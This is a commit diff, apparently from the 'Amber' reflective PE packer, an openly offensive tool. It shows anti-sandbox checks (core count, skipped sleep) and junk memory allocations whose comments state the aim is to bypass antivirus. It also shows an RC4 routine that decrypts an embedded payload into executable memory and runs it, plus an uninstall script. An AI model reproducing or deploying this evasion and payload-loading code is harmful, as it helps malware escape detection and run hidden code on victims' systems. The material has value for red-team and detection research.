GetSystemInfo(&SysGuide);// |
int CoreNum = SysGuide.dwNumberOfProcessors;// |
if(CoreNum < 2){// |=> Check the number of processor cores...
BypassAV(NULL); // |
}// }
// }
int Tick = GetTickCount(); //|
Sleep(1000); //|
int Tac = GetTickCount(); //|
if((Tac - Tick) < 1000){ //|=> Check if the sleep function is skipped...
BypassAV(NULL); //|
} //|
// }
Bunny();//}=> Obfuscate the code with function calls and garbage memory allocations...
Bunny();
return true;
}
void Bunny(){
double Max = 9999999;
@@ -59,13 +44,10 @@ void Bunny(){
for(int i = 0; i < 8; i++){
Hop1();
Hop2();
Hop3();
Hop4();
Malloc();
Start:;
i++;
Hop5();
Malloc();
if((i % 3) == 0){
goto Start;
}
@@ -74,9 +56,7 @@ void Bunny(){
}
void Hop1(){
void Malloc(){
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
@@ -85,45 +65,3 @@ void Hop1(){
free(Memdmp);
}
}
void Hop2(){
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if(Memdmp != NULL){
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
}
void Hop3(){
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if(Memdmp != NULL){
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
}
void Hop4(){
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if(Memdmp != NULL){
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
}
void Hop5(){
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if(Memdmp != NULL){
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
}
stub/RC4.h
+37
View File
@@ -0,0 +1,37 @@
//
// KSA (Key Scheduling Algorithm)
// PRGA (Pseudo-Random Generation Algorithm)
// XOR
//
#define N 256 // 2^8
void swap(unsigned char *a, unsigned char *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
void KSA(unsigned char *key,int len,unsigned char *S) {
int j = 0;
for(int i = 0; i < N; i++)
S[i] = i;
for(int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
}
void PRGA(unsigned char *S,unsigned char *plain,int len,unsigned char *cipher) {
int i = 0;
int j = 0;
for(size_t n = 0; n < len; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
cipher[n] = rnd ^ plain[n];
}
}
stub/Resource.o
BIN
View File
Binary file not shown.
stub/res/Resource.rc
+24
View File
@@ -0,0 +1,24 @@
id ICON "amber.ico"
1 VERSIONINFO
FILEVERSION 1,0,0,1
PRODUCTVERSION 1,0,0,1
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "080904E4"
BEGIN
VALUE "CompanyName", "INVICTUS EUROPE"
VALUE "FileDescription", "Amber Packer - POC Reflective PE Packer"
VALUE "FileVersion", "1.1"
VALUE "InternalName", "Amber"
VALUE "LegalCopyright", "Ege Balcı"
VALUE "OriginalFilename", "amber.exe"
VALUE "ProductName", "Amber"
VALUE "ProductVersion", "1.1"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x809, 1252
END
END
stub/res/amber.ico
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 153 KiB

stub/stub.cpp
+9 -5
View File
@@ -2,8 +2,9 @@
#include "AntiSandbox.h"
#include "payload.h"
#include "key.h"
#include "RC4.h"
const char LABEL[] = {"<Amber:27a01d4772038a3f83552908e0470604e773f8af>"}; // Descriptive label for yara rules ;D
void ExecutePayload();
@@ -11,20 +12,23 @@ int main(int argc, char const *argv[])
{
CreateThread(NULL,0,BypassAV,NULL,0,NULL);
if(BypassAV(NULL)){
ExecutePayload();
ExecutePayload();
}
return 0;
}
void ExecutePayload(){
/*
for(int i = 0; i < sizeof(Payload); i++) {
Payload[i] = (Payload[i] ^ Payload_key[(i%sizeof(Payload_key))]);
}
*/
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Payload, sizeof(Payload));
unsigned char S[N];
KSA(Payload_key,Payload_key_len,S);
unsigned char* BUFFER = (unsigned char*)VirtualAlloc(NULL, Payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PRGA(S,Payload,Payload_len,BUFFER);
(*(void(*)())BUFFER)();
while(true){
uninstall.sh
+4 -13
View File
@@ -1,19 +1,10 @@
#!/bin/bash
sudo rm -r /usr/local/bin/amber
sudo rm core/NonASLR/Payload
sudo rm core/NonASLR/iat/Payload
sudo rm core/NonASLR/Mem.map
sudo rm core/NonASLR/iat/Mem.map
sudo rm core/ASLR/Payload
sudo rm core/ASLR/iat/Payload
sudo rm core/ASLR/Mem.map
sudo rm core/ASLR/iat/Mem.map
sudo rm -r amber
sudo rm -r handler
echo 0 > Stub/PAYLOAD.h
echo 0 > Stub/KEY.h
sudo rm /usr/local/bin/amber_handler
sudo rm -r /usr/share/Amber
rm amber
rm handler
echo " "
echo "[+] Uninstallation complete."